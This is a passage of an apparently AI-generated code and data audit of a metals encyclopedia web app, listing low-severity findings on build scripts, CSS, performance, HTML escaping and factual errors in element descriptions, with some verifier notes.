Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numerics.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT The primary PubChem-CSV row lookup ORs the exact same property access with itself, which is always just `r.AtomicNumber` — almost certainly a copy/paste leftover where a fallback column name was intended but never filled in.

EVIDENCE Line 331: `const byZ = rows.find((r) => Number(r.AtomicNumber || r.AtomicNumber) === metal.atomicNumber);`. The PubChem CSV's actual header row is confirmed as `"AtomicNumber","Symbol","Name",...` (src/data/pubchem-periodictable.csv line 1), so the primary lookup always succeeds for all 118 rows anyway, making the `byName` fallback immediately below it (lines 332-336) provably unreachable dead code for every one of the 98 catalog elements.

FIX Remove the redundant `|| r.AtomicNumber` (or fill in the actually-intended alternate column name), and either delete the now-dead `byName` fallback or add a log line so it's visible if it's ever actually reached.

LOW 8. fetch-reference-db.mjs launches a new Chromium browser per element instead of reusing one, unlike scrape-rsc.mjs

scripts/fetch-reference-db.mjs:282 UNVERIFIED (LOW)

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numerics.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT `pullRsc()` launches and closes its own Chromium instance every time it's called, and it's called once per catalog element from inside a concurrency-2 pool — up to 98 separate browser launches (2 concurrent) for a full `--rsc` run, versus the sibling script that does the same scrape with one shared browser for all 98 elements.

EVIDENCE `scripts/fetch-reference-db.mjs:282: const browser = await chromium.launch({ headless: true });` sits inside `async function pullRsc(metal)` (lines 266-328), which is invoked from `mapPool(metals, 2, ...)` at line 382 — one call per element. `scripts/scrape-rsc.mjs:110: const browser = await chromium.launch({ headless: true });` runs exactly once, before its `for (const metal of raw)` loop starts at line 115, reusing the same `page` for all 98 elements.

FIX Hoist the browser/page creation in `fetch-reference-db.mjs's --rsc` path out of `pullRsc()` to once per run (or once per worker in `mapPool`), matching `scrape-rsc.mjs`, to cut launch overhead and reduce flakiness under concurrency.

LOW 9. build-metals.mjs's placeholder-narrative fallback has no null guard on metal.family

scripts/build-metals.mjs:46 UNVERIFIED (LOW)

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numerics.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT The auto-generated placeholder used whenever a raw metal has no matching curated narrative calls `.toLowerCase()` directly on `metal.family` with no null check, so it will crash the entire build instead of degrading gracefully if a future draft record is missing both fields at once.

EVIDENCE Lines 45-53: `const entry = narrative || { overview: ` ${metal.name} (${metal.symbol}) is a ${metal.family.toLowerCase()} element in this metals reference set.`, ... }; — metal.family.toLowerCase()` has no fallback. Currently dead code / zero live trigger: verified all 98 metals-raw.json entries have both a non-empty `family` and a matching key in `scripts/narratives.mjs` (0 missing narratives, 0 entries with falsy family, confirmed by running `build-metals.mjs` — no "Missing curated narratives" warning printed — and by a direct scan of `metals-raw.json`).

FIX Guard with `(metal.family || "unclassified").toLowerCase()` so an incomplete draft record degrades gracefully instead of throwing `TypeError: Cannot read properties of undefined (reading 'toLowerCase')` and aborting the whole build.

LOW 10. Desktop Data Table's sticky column header never actually sticks — `overflow:auto` on its own ancestor hijacks the sticky containing block

src/style.css:2014 CONFIRMED CSS, responsive layout & mobile UX (src/style.css, src/style/mobile-browse.css, class usage in src/main.js) SONNET 5

WHAT `.table-wrap { overflow: auto; }` (style.css:2013-2016) is the direct parent of `<table>`, so it becomes the nearest scroll container and thus the sticky containing block for `thead th { position: sticky; top: 0; }` (style.css:2032-2034). Because `.table-wrap` has no explicit height, its box always grows to exactly fit the table (confirmed live: `scrollHeight === clientHeight === 836px`), so it is never itself scrolled — the actual page/document scrolls instead. A sticky element only pins against scrolling of its own containing block, so `thead` never detaches from normal flow; it just scrolls away with the rest of the table, identically to a non-sticky header.

EVIDENCE Live-measured on the desktop Table view: before scrolling, `thead th` `top = 159.33px` (`.table-wrap` `top = 158.67px`). After `window.scrollTo(0, 250)`, `thead th` `top` became `-90.67px` while `.table-wrap` `top` became `-91.33px` — i.e. the header moved almost exactly in lockstep with its container (a `~0.7px` difference from border/rounding) instead of clamping at 0, proving the sticky rule has zero visible effect.

FIX Remove `overflow: auto` from `.table-wrap` so its sticky containing block escalates to the real page scroller, and move any needed horizontal-scroll handling elsewhere (e.g. an inner wrapper that isn't also the sticky ancestor) — or, if the intent was always an internal scroll region, give `.table-wrap` an explicit bounded height (e.g. `max-height: calc(100vh - Npx)`) so the overflow is real and the sticky header behaves as intended within it.

VERIFIER NOTE The technical description is accurate; only the severity is wrong. The sticky header failing to pin is a cosmetic UX degradation (header reverts to normal scrolling behavior), not a high-impact defect. Fix is trivial and optional: either drop `overflow: auto` from `.table-wrap` so the document scroller becomes the sticky containing block, or give `.table-wrap` a bounded `max-height` so its overflow is real and the internal scroll engages the sticky clamp.

LOW 11. Hero-photo fade and compare-card remove button use a different near-black than the rest of the app's dark overlays

src/style.css:1227 UNVERIFIED (LOW) CSS, responsive layout & mobile UX (src/style.css, src/style.mobile-browse.css, class usage in src/main.js) SONNET 5

WHAT Every dark scrim/overlay in the app blends toward `rgba(11, 13, 14, ...)`, matching `--bg: #0b0d0e` — used in `.console-header` backdrop (line 124), `.metal-card/.compare-card .shade` gradients (lines 962-964, 1812-1814), `.hero-controls` backdrop (line 1170), and `.compare-card.is-drop-target::after` (line 1777). Two spots instead hardcode `rgba(23, 21, 26, ...)` — hex `#17151A`, a visibly warmer/violet-tinted near-black — with no shared variable and no apparent intentional reason for the divergence: `.hero-fade`'s bottom gradient (line 1227) and `.compare-card .remove`'s button background (line 1825).

EVIDENCE `.hero-fade { background: linear-gradient(180deg, rgba(23, 21, 26, 0) 40%, rgba(23, 21, 26, 0.88) 100%); }` (style.css:1227) and `.compare-card .remove { background: rgba(23, 21, 26, 0.7); }` (style.css:1825), vs. the app's established dark-overlay color `rgba(11, 13, 14, ...)` used identically for the same purpose everywhere else (style.css:124, 962-964, 1170, 1812-1814, 1777). This shows up on every single hero photo's bottom edge and every compare card's × button.

FIX Replace both `rgba(23, 21, 26, ...)` instances with `rgba(11, 13, 14, ...)` (or reference `--bg` via `color-mix`) to match the rest of the app's dark scrim.

LOW 12. Dead class: `.sources-page` is emitted but has no matching CSS rule anywhere

src/main.js:612 UNVERIFIED (LOW) CSS, responsive layout & mobile UX (src/style.css, src/style.mobile-browse.css, class usage in src/main.js) SONNET 5

WHAT `renderSources()` renders `<main class="page-main sources-page">`, but no selector referencing `.sources-page` exists in style.css or style.mobile-browse.css.

EVIDENCE Programmatic cross-reference of every `.class` token in both stylesheets against every class string in main.js found zero matches for `sources-page` (all other 190 CSS classes and all other JS-emitted classes cross-matched cleanly).

FIX Either add the intended page-specific styling under `.sources-page` or drop the unused class from the template.

LOW 13. Redundant `grid-template-columns` re-declared identically across two breakpoints

src/style.css:2227 UNVERIFIED (LOW) CSS, responsive layout & mobile UX (src/style.css, src/style.mobile-browse.css, class usage in src/main.js) SONNET 5

WHAT `.catalog-grid/.tool-grid` set `grid-template-columns: repeat(3, minmax(0, 1fr))` inside the `@media (max-width: 960px)` block (style.css:2140-2148) and then set the exact same value again inside the nested `@media (max-width: 640px)` block (style.css:2227-2231) — only `gap` (8px → 6px) actually changes between the two, making the repeated `grid-template-columns` dead weight from a prior edit.

EVIDENCE 960px block: `.catalog-grid { grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 8px; }` (style.css:2140-2143). 640px block: `.catalog-grid, .tool-grid { grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 6px; }` (style.css:2227-2231) — identical column value restated.

FIX Drop the repeated `grid-template-columns` line from the 640px block, leaving only the `gap: 6px` override.

LOW 14. metals-raw.json persists a fully auto-generated, unused 'summary' field on all 98 records that is always overwritten at build time and never read by the app

src/data/metals-raw.json:1832 UNVERIFIED (LOW) Data consistency & schema integrity SONNET 5

WHAT Every element's `summary` field in metals-raw.json is boilerplate text mechanically derived from that same record's name/symbol/family/meltingPoint/density (e.g. 'Polonium (Po) is classified here as metalloid. It melts at about 253.9 C. Its listed density is 9.32 g/cm3.'). It is unconditionally clobbered during the build (scripts/build-metals.mjs line 57: `summary: entry.overview`, — the narrative's overview text replaces it before metals.js is written), and is never read anywhere in the app: `grep -n "\.summary\b" src/main.js src/lib/*.js src/viewer/*.js` returns zero matches. It is currently self-consistent with its own sibling fields (0/98 mismatches found when cross-checking the embedded temperature/density numbers against the live meltingPoint/density fields), so nothing is wrong today, but it is dead schema surface with no regeneration guard: any future hand-edit to meltingPoint, density, or family in metals-raw.json will not update this text, and a maintainer skimming the raw JSON could mistake it for the field actually shown to users.

EVIDENCE src/data/metals-raw.json line 1832: `"summary": "Polonium (Po) is classified here as metalloid. It melts at about 253.9 C. Its listed density is 9.32 g/cm3."`. Overwrite site: scripts/build-metals.mjs line 57 `summary: entry.overview`, inside the object spread `{ ...metal, summary: entry.overview, overview: entry.overview, ... }`. Usage search: no matches for `metal.summary` / `.summary` in src/main.js, src/lib/*.js, or src/viewer/*.js.

FIX Either drop the `summary` field from metals-raw.json/build-metals.mjs's output entirely (nothing consumes it), or if a short meta-description is wanted (e.g. for an HTML `<meta name="description">` tag), wire it into src/main.js explicitly and regenerate it from live fields at build time rather than persisting static text that can silently go stale.

LOW 15. URL data is interpolated into HTML attributes without escapeHtml (latent injection / render break), inconsistently with sibling sites that do escape

src/main.js:649 NEEDS NUANCE Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js) OPUS 4.8

WHAT Several URL/name values are placed into double-quoted attributes via innerHTML template strings WITHOUT escapeHtml, while structurally identical sites DO escape — a clear inconsistency. A value containing a double-quote or `'>` breaks out of the attribute and can inject markup. Image URLs originate from Wikimedia Commons (semi-external), and the charter states data must be treated as attacker-influenced.

EVIDENCE Unescaped: series-hub img `{m.name} {m.symbol}</option>` (1227). Contrast the ESCAPED equivalents: metalCardMedia `src="{escapeHtml(src)}"` (171), sources page `href="{escapeHtml(s.url)}"` (595), hero photo (1031-1032). Current shipped data is clean (I scanned all imageUrl/imageSourceUrl/pubchemUrl/*.narrativeSources/propertySources for `[ "<>" ]` → 0 hits), so this is latent, not currently firing.

FIX Wrap every URL/name interpolated into an attribute in escapeHtml (and ideally validate the URL scheme is http/https). Apply uniformly at lines 649, 958, 964, 1120, 1123, and 1227 to match the already-correct escaped sites.

VERIFIER NOTE Confirmed as a real inconsistency at lines 649, 958, 964, 1123, and 1227 (all should use escapeHtml for uniformity/defense-in-depth), but line 1120 (metal.pubchemUrl) should be dropped from the "vulnerable" list since it's built via `encodeURIComponent(metal.name)` in scripts/build-metals.mjs, which already neutralizes attribute-breakout characters regardless of metal.name content. Severity should be downgraded from medium to low: all affected data is static and curated at build time (not runtime-fetched or user-supplied), current shipped data has zero hits of dangerous characters (verified across all 98 metals-raw.json records and ~264 narrative/property source URLs), and realistic exploitation would require compromising the repository's own source files — a supply-chain scenario where this particular gap is a minor concern relative to the compromise itself. Recommend fixing for consistency/defense-in-depth, not as an urgent vulnerability.

LOW 16. Sort comparators return NaN for null-vs-null pairs, giving non-deterministic ordering of the null-valued tail

src/lib/filter.js:34 UNVERIFIED (LOW) Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js) OPUS 4.8

WHAT densityDesc/meltingDesc/conductivityDesc coalesce missing values to -Infinity, but (-Infinity) - (-Infinity) evaluates to NaN. When two metals both lack the sorted field, the comparator returns NaN, which is not a valid ordering signal, so their relative order is engine-defined/unstable. Non-null items and null-vs-non-null comparisons are still consistent, so nulls do cluster at the bottom — but their internal order is arbitrary and can differ run-to-run.

EVIDENCE filter.js:34-36 e.g. `densityDesc: (a, b) => (b.density ?? -Infinity) - (a.density ?? -Infinity)`. Verified: (-Infinity)-(-Infinity) === NaN. With the real data (20 null-density metals) I reproduced the sort: non-null densities came out strictly ordered (0 out-of-order pairs) and nulls occupied contiguous positions 78–97, but that null block's internal order is undefined behavior.

FIX Use an explicit null-partitioning comparator, e.g. push nulls to the end with a stable tiebreak: `(a,b)=>{const av=a.density,bv=b.density; if(av==null&&bv==null) return a.atomicNumber-b.atomicNumber; if(av==null) return 1; if(bv==null) return -1; return bv-av;}` for each *Desc sorter.

LOW 17. Duplicate id="entry-series-trigger"/"entry-series-menu" rendered on the mobile list pane (invalid HTML + redundant event bindings)

src/main.js:732 UNVERIFIED (LOW) Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js) OPUS 4.8

WHAT seriesPickerHtml() hardcodes ids entry-series-trigger/entry-series-menu (main.js:402-424). On mobile in the 'list' pane, TWO instances are emitted: one in .mobile-series-bar (rendered when `!onMobileEntry && mobile`, line 732) and one in the entry article's .mobile-entry-bar (rendered when `isMobileBrowse()`, line 1010). bindSeriesPicker uses `querySelector("#entry-series-trigger")` (binds only the first) but `querySelectorAll("#entry-series-menu [data-family]")` (438), which matches option buttons inside BOTH duplicate menus and attaches redundant click handlers to the hidden copy.

EVIDENCE Duplicate ids confirmed by tracing both render branches. The second copy lives inside `> article`, which style.mobile-browse.css:62-64 sets `display:none` for `[data-mobile-pane="list"]`, so it is not user-visible — impact is invalid duplicate-id HTML and wasted handler bindings, not a broken interaction.

FIX Only render one series picker per pane: gate the .mobile-entry-bar picker on `state.mobilePane === 'entry'` (not just `isMobileBrowse()`), or give the two pickers distinct ids and bind each explicitly.

LOW 18. The 'Crust' key-stat card shows "Unavailable" where its sibling stats show "—" for missing data

src/main.js:869 UNVERIFIED (LOW) Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js) OPUS 4.8

WHAT In the encyclopedia stat strip, five of six cards guard with `hasValue(x) ? ... : "—"`, but the Crust card calls `formatAbundance()` directly, which returns the string "Unavailable" for null. So a metal with no crust-abundance value renders a long "Unavailable" in a compact card while Melting/Boiling/Density/Cond/Mohs render a short "—".

EVIDENCE main.js:869 `{ label: "Crust", value: formatAbundance(metal.crustAbundancePercent) }` vs the sibling pattern at 856-868 (e.g. `value: hasValue(metal.density) ? ... : "—"`). `formatAbundance` returns "Unavailable" (format.js:74). 3 metals have null `crustAbundancePercent`, so this triggers on real data.

FIX Match the siblings: `value: hasValue(metal.crustAbundancePercent) ? formatAbundance(metal.crustAbundancePercent) : "—"`.

LOW 19. 'Open compare' silently drops the current metal when the compare set is already full (no notice), unlike 'Add to compare'

src/main.js:1202 UNVERIFIED (LOW) Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js) OPUS 4.8

WHAT The #open-compare handler tries to add the selected metal, then switches to compare view. When the compare set already holds COMPARE_LIMIT (4) metals and the selected one is not among them, `toggleCompareKey` returns the list unchanged (compare.js:155-157), so the selected metal is not added — and unlike the #toggle-compare handler, no `state.compareNotice` is set. The user opens compare expecting to see the current metal and it is silently absent.

EVIDENCE main.js:1202-1209: `if (!state.compareKeys.includes(key)) { state.compareKeys = toggleCompareKey(state.compareKeys, key); } state.view = "compare";` — no length check, no notice. Compare the #toggle-compare handler (1191-1201) which detects the unchanged-length case and sets `state.compareNotice = `Compare supports up to ${COMPARE_LIMIT} metals.\``. Failing input: `compareKeys` already has 4 entries not including the selected metal; click 'Open compare'.

FIX Detect the at-limit no-op (as #toggle-compare does) and set a `compareNotice`, or drop the oldest/last compare key to make room before switching views.

LOW 20. Radium overview claims it is 'extracted from spent fuel rods from nuclear reactors'

scripts/narratives.mjs:2116 UNVERIFIED (LOW) Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT Radium is not a meaningful constituent of spent reactor fuel and is not commercially recovered from it.

EVIDENCE Repo (radium.overview and .production): "Today radium is extracted from spent fuel rods from nuclear reactors." Radium is a decay product of uranium/thorium; it was historically extracted from uranium ores (pitchblende), and present demand is minimal. Spent fuel is not a radium source. Verbatim from the RSC radium page. (The same sentence's earlier clause — radium present in all uranium ores — is correct.)

FIX Correct to reflect radium as a uranium-decay product historically recovered from uranium ores, not from spent fuel rods.

LOW 21. Nickel overview understates the Sudbury impact age by roughly 10x

scripts/narratives.mjs:500 UNVERIFIED (LOW) Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT The Ontario meteorite-impact age is off by about an order of magnitude.

EVIDENCE Repo (nickel.overview): "One of these landed in the region near Ontario, Canada, hundreds of millions of years ago." The Sudbury Basin impact is dated to ~1.85 billion years ago (1849 Ma) — 'hundreds of millions' understates it by roughly 10x (it should read ~1.85 billion). Verbatim from the RSC nickel page.

FIX Change to 'about 1.85 billion years ago.'

LOW 22. Antimony overview cites an outdated 'China produces 88%' share

scripts/narratives.mjs:1111 UNVERIFIED (LOW) Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT China's share of world mined antimony has fallen sharply; the stated figure reflects ~2010-era dominance, not the present.

EVIDENCE Repo (antimony.overview, truncated): "China can also be found as the native metal. China produces 88% of the..." China's share of world antimony mine production was ~80-90% around 2010 but had declined to roughly 48% by 2023 (USGS). Presented in the present tense, '88%' materially overstates China's current share.

Fix Update to the current (~48%) figure or explicitly attribute 88% to its historical period.

LOW 23. Plutonium-239 half-life given as 24,400 years (accepted value 24,110)

scripts/narratives.mjs:2264 UNVERIFIED (LOW) Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT A slightly outdated/high half-life value, repeated in both the overview and production fields.

EVIDENCE Repo (plutonium.overview and .production): "the isotope plutonium-239, which has a half-life of 24,400 years." The accepted half-life of Pu-239 is 24,110 years (±30) — the stated value is ~1.2% high. Verbatim from the RSC plutonium page.

Fix Update to 24,110 years.

LOW 24. Entire 98-element dataset ships as one 504KB unsplit JS chunk, ~89% of it narrative data never needed on first paint

D:\Cursor\projects\Randoms\metals-encyclopedia\src\main.js:4 NEEDS NUANCE Performance & bundle SONNET 5

WHAT src/main.js:4 does a static top-level `import { metals } from "../data/metals.js"`, and grep across src/ and scripts/ finds zero `import()` dynamic-import calls anywhere in the app. There is no manualChunks/rollupOptions in vite.config.js either (it only sets `base: "/"`). The result: every one of the 98 elements' full prose (overview, production, uses, notableFacts, commodityNotes, narrativeSources) is parsed and resident in memory on load, even though the encyclopedia detail view shows exactly one element's narrative at a time, and the browse/compare/table views never render the prose fields at all (only name/symbol/family/numbers).

EVIDENCE Ran `npx vite build` in the repo: `dist/assets/index-CjMD_I4V.js 504.44 kB` `gzip: 101.86 kB` with Vite's own warning: "(!) Some chunks are larger than 500 kB after minification. Consider: - Using dynamic import() to code-split the application". src/data/metals.js is 513,297 bytes raw (449,717 bytes as minified JSON, measured via `JSON.stringify(metals)`), vs src/main.js itself at only 78,901 bytes raw — so the data (not app code) is ~89% of the shipped-JS byte weight (449717/504440). Correct/achievable reference: a browse-first app needs only {key,name,symbol,family,atomicNumber,...numeric props} per element up front (a small fraction of 449KB) with narrative text loaded per-element on demand.

Fix Split metals.js into a lightweight index (numeric/identity fields only, used by browse/compare/table/search) and per-element (or chunked) narrative payloads loaded via dynamic import() when an element's encyclopedia entry is actually opened. Add manualChunks or route-level dynamic imports so Vite emits multiple chunks instead of one 500KB+ bundle.

VERIFIER NOTE Real and correctly diagnosed as a code-splitting opportunity, but severity is low, not critical. The app ships all JS (app code + full 98-element dataset) as a single 504KB raw / 101.86KB gzip chunk; ~65% of the JSON is narrative/source prose used only in the single-element detail view, so a lightweight index-plus-on-demand-narrative split could cut the initial payload substantially. However, at ~100KB gzip on a cache-friendly static reference site with no evidenced runtime slowness, this is a modest optimization rather than a critical performance defect — and keeping the full dataset resident is what enables the app's instant client-side search/filter/compare.

LOW 25. No debounce anywhere in the app; every search keystroke rebuilds a ~1.4KB-per-element search haystack for all 98 elements from scratch

D:\Cursor\projects\Randoms\metals-encyclopedia\src\lib\filter.js:12 NEEDS NUANCE Performance & bundle SONNET 5

WHAT `grep -rn "debounce|throttle" src/` returns zero matches in the whole app. The `#metal-search` input listener (main.js:1136-1139) calls `refreshMetalList()` synchronously on every keystroke with no debounce/rAF batching. That calls `getFilteredMetals(metals, state)` (filter.js:10), which for every one of the 98 metals does `[name, symbol, family, sourceCategory, overview, production, uses, safety, ...notableFacts].join("").toLowerCase()` (filter.js:12-26) — i.e. it re-derives the searchable text of every element's full narrative prose from scratch on every character typed, then re-sorts the result with a `localeCompare`-based default sorter (filter.js:32,39). None of this is memoized even though the underlying metal records never change during a session.

EVIDENCE Measured directly on the real dataset: the haystack strings the code builds total 143,202 characters per full pass (avg 1,461 chars/metal, max 2,422 for silver) — all reconstructed and lowercased on every keystroke. `refreshMetalList()` (main.js:829-841) then also replaces `.metal-cards` innerHTML and rebinds all visible card listeners each time.

Fix Precompute each metal's lowercased search haystack once (e.g. at module load or in build-metals.mjs) and cache it on the record; debounce the input handler (~100-150ms) before calling `refreshMetalList` so fast typing doesn't trigger a full filter+sort+innerHTML rebuild per keystroke.

VERIFIER NOTE The described inefficiency is real (no debounce; haystack rebuilt + re-sorted every keystroke with no memoization), but the performance impact is negligible: the filter+sort pass measures ~0.165 ms on the real 98-element dataset. The haystack reconstruction the finding centers on is the cheap part; the larger (still acceptable) cost is the per-keystroke innerHTML rebuild + card rebind. Warrants low severity as a code-quality/micro-optimization item, not high.

LOW 26. Byte-identical propertySources array duplicated into all 98 element records instead of being shared

D:\Cursor\projects\Randoms\metals-encyclopedia\scripts\build-metals.mjs:65 NEEDS NUANCE Performance & bundle SONNET 5

WHAT build-metals.mjs:15-34 defines a single `PROPERTY_SOURCES` constant (3 source objects), then line 65 does `propertySources: PROPERTY_SOURCES,` on every mapped metal. Because the whole array is serialized with `JSON.stringify(metals, null, 2)` (build-metals.mjs:87) into the static metals.js file, the shared-reference savings disappear at serialization: all 98 copies are written out verbatim.

EVIDENCE Programmatically verified: every metal's `JSON.stringify(m.propertySources)` is byte-identical across all 98 records, each 413 bytes, for 40,474 bytes total (~9% of the 449,717-byte minified metals payload) of pure duplication with zero per-element information content.

Fix Export `PROPERTY_SOURCES` once from a small shared module (e.g. src/data/property-sources.js) and reference it directly in the UI instead of spreading it onto every element record in the generated bundle.

VERIFIER NOTE The duplication is real and the fix (share `PROPERTY_SOURCES` from one module rather than spreading it onto all 98 records) is valid and low-risk since every consumer (src/main.js:961) uses the array identically regardless of element. But downgrade from "medium" to "low": measured with gzip (the realistic serving condition for a static site), fixing this saves only ~1KB out of ~82KB gzipped payload (~1.2%), not the ~9% implied by the raw-byte comparison. The finding's numbers are correct as raw/uncompressed figures but should not be read as a proxy for actual network transfer savings; the only other tangible benefit is a small reduction in JS parse time/heap allocations, not bundle-size-over-the-wire.

LOW 27. Inert, unimplemented viewer stub object serialized into every one of the 98 records with zero runtime consumers

D:\Cursor\projects\Randoms\metals-encyclopedia\scripts\build-metals.mjs:67 CONFIRMED Performance & bundle SONNET 5

WHAT build-metals.mjs:67-79 attaches viewer: { physicalSample: { enabled: false, materialHint, density }, atomicModel: { enabled: false, atomicNumber, electronConfiguration } } to every metal, commented "Reserved for a future Three.js / Babylon mount without reshaping the schema." grep -rn "\.viewer\b" src/ returns exactly one hit — a comment inside src/viewer/mount.js — and that file is never imported anywhere (grep -rn "viewer/mount" src/ index.html → 0 matches), so this data has no code path that reads it at all.

EVIDENCE Programmatically measured: metals.reduce((a,m)=>a+JSON.stringify(m.viewer).length,0) = 16,716 bytes shipped in the production bundle for an always-enabled:false placeholder that nothing consumes.

FIX Drop the viewer stub from build-metals.mjs until the feature is actually built, or gate it behind a build flag so it isn't serialized into every production record.

LOW 28. Compare's "add metal" search boxes re-sort all 98 metals by localeCompare on every keystroke, duplicated across two near-identical functions, with no debounce

D:\Cursor\projects\Randoms\metals-encyclopedia\src\main.js:1231 UNVERIFIED (LOW) Performance & bundle SONNET 5

WHAT compareAddOptions (main.js:1213-1229) and compareAddCandidates (main.js:1231-1245) both execute metals.slice().sort((a,b)=>a.name.localeCompare(b.name)).filter(...) in full on every call. Both are wired to input listeners with no debounce: main.js:1643 and main.js:1869. The sort order is independent of the query text yet is recomputed from scratch on every character typed, in two separately-maintained copies of the same logic.

EVIDENCE main.js:1215-1218 and main.js:1233-1236 both contain the identical .slice().sort((a, b) => a.name.localeCompare(b.name)) chain over the full 98-element metals array.

FIX Sort the metals list once (e.g. at module init) and reuse the sorted array in both functions; only re-run the (cheap) filter per keystroke, and add a light debounce for consistency with the main search box.

LOW 29. Document-wide mousemove handler writes 5 inline style properties on every event while a tooltip host is hovered, with no rAF batching

D:\Cursor\projects\Randoms\metals-encyclopedia\src\main.js:465 UNVERIFIED (LOW) Performance & bundle SONNET 5

WHAT bindTipFollow() (main.js:464-484) attaches a single mousemove listener to document (bound once at module init, main.js:2013, so it is not a leak) that, whenever the pointer is over a [data-om-tip] element, directly writes pop.style.position/left/top/transform/bottom/right (main.js:475-480) on every fired mousemove event — uncoalesced by requestAnimationFrame. Native mousemove can fire at high frequency, so each event forces the browser to lay out/paint the tooltip element again immediately, rather than batching to once per frame.

EVIDENCE main.js:473-480: let x = e.clientX + 14; ... pop.style.position = "fixed"; pop.style.left = `\${x}px`; pop.style.top = `\${Math.max(8, e.clientY - 12)}px`; pop.style.transform = "translateY(-100%)"; pop.style.bottom = "auto"; pop.style.right = "auto"; — five style writes per mousemove tick, unthrottled.

FIX Coalesce the style writes with requestAnimationFrame (store latest e.clientX/clientY, apply once per frame) so tooltip-follow doesn't force a style/layout pass on every native mousemove tick.

LOW 30. Render-blocking Google Fonts request pulls 14 weight variants across 4 families before first text paint

D:\Cursor\projects\Randoms\metals-encyclopedia\index.html:11 UNVERIFIED (LOW) Performance & bundle SONNET 5

WHAT index.html:10-13 loads a single Google Fonts stylesheet synchronously via <link rel="stylesheet"> requesting JetBrainsMono:wght@400;500;700&family=Archivo:wght@400;500;600;700&family=Oswald:wght@400;500;600;700&family=Inter+Tight:wght@400;500;600 — 3+4+4+3 = 14 weight variants across 4 font families in one render-blocking request chain (preconnect + stylesheet + however many subsetted WOFF2 files Google Fonts serves for that combination), before the browser can paint any text in its final font.

EVIDENCE index.html:11 (exact URL): https://fonts.googleapis.com/css?family=JetBrains+Mono:wght@400;500;700&family=Archivo:wght@400;500;600;700&family=Oswald:wght@400;500;600;700&family=Inter+Tight:wght@400;500;600&display=swap

FIX Audit which weights are actually used in style.css and trim the family/weight list to only those, and/or self-host the subset needed to remove the extra cross-origin round trip.

LOW 31. Calcium oceanAbundancePercent is ~100x too low (0.00042% vs ~0.04%)

src/data/metals-raw.json:237 CONFIRMED Scientific numeric accuracy (physical & chemical properties, all 98 elements) OPUS 4.8

WHAT Calcium's oceanAbundancePercent = 0.00042 (4.2 ppm). Calcium is the fifth most abundant element in seawater at ~400-412 mg/L = ~0.04% by mass. The value is ~100x too low. Internal consistency confirms the error: the dataset's other major seawater ions are all correct and follow mg/L divided by 10^4 (Na=1.1%, Mg=0.13%, K=0.042%, Sr=0.0008%). Seawater calcium (~400 mg/L) is essentially equal to potassium (~400 mg/L, listed 0.042%), so it should be ~0.042%, not 0.00042%. NOTE: oceanAbundancePercent is not currently rendered anywhere in main.js (only crust and universe abundance are shown), so this is a latent source-of-truth data error rather than a currently-visible one.

EVIDENCE Repo: "oceanAbundancePercent": 0.00042 (metals-raw.json:237). Reference: seawater Ca ~ 400 mg/L ~ 0.04% (web search: "average of 400 mg/L calcium... fifth most abundant element in seawater"). Cross-check: repo's own K ocean value 0.042% is correct for the near-identical seawater K concentration.

FIX Correct calcium oceanAbundancePercent to ~0.04 (0.041).

VERIFIER NOTE Confirmed as described; only adjustment is severity, which should be low rather than medium given the field is entirely unused/unrendered in the current app (main.js never reads oceanAbundancePercent), so there is no live user-facing inaccuracy today -- purely a latent source-data defect. Recommendation stands: correct src/data/metals-raw.json Calcium oceanAbundancePercent from 0.00042 to ~0.04-0.041.

LOW 32. Silicon and germanium electrical conductivity are far above the intrinsic elemental value (off-convention)

src/data/metals-raw.json:177 NEEDS NUANCE Scientific numeric accuracy (physical & chemical properties, all 98 elements) OPUS 4.8

WHAT Silicon conductivity = 1000 S/m (line 177) and germanium = 2000 S/m (line 555). The standard intrinsic elemental conductivity of silicon is $\sim 4.3 \times 10^{-4}$ S/m and germanium ~ 2.2 S/m. The repo values are $\sim 2 \times 10^6 \times$ (Si) and $\sim 900 \times$ (Ge) higher than intrinsic — these are moderately-doped/technical values, not the intrinsic elemental property. This is inconsistent with the dataset's own convention: the neighboring metalloid semiconductor boron is given its intrinsic value (conductivity = 0.0001 S/m). A reader comparing conductivities sees silicon rendered as "1.00 kS/m" (a modest metal-like conductor) rather than a semiconductor 6+ orders of magnitude below true metals. Confidence is medium because doped silicon can legitimately reach $\sim 10^3$ S/m, so the number is defensible only if a doping convention is intended — but that convention is undocumented and not applied to boron in the same file.

EVIDENCE Repo: Si "conductivity": 1000 (metals-raw.json:177), Ge "conductivity": 2000 (metals-raw.json:555). Reference: intrinsic Si sigma $\sim 4.3 \times 10^{-4}$ S/m (Wikipedia silicon infobox electrical resistivity = 2.3×10^3 ohm.m at 20C); intrinsic Ge sigma ~ 2.2 S/m (resistivity ~ 0.46 ohm.m). Same file: boron = 1×10^{-4} S/m (intrinsic convention).

FIX Use intrinsic elemental conductivities for consistency with boron (Si $\sim 1 \times 10^{-3}$ S/m, Ge ~ 2 S/m), or document explicitly that a doped-semiconductor convention is used.

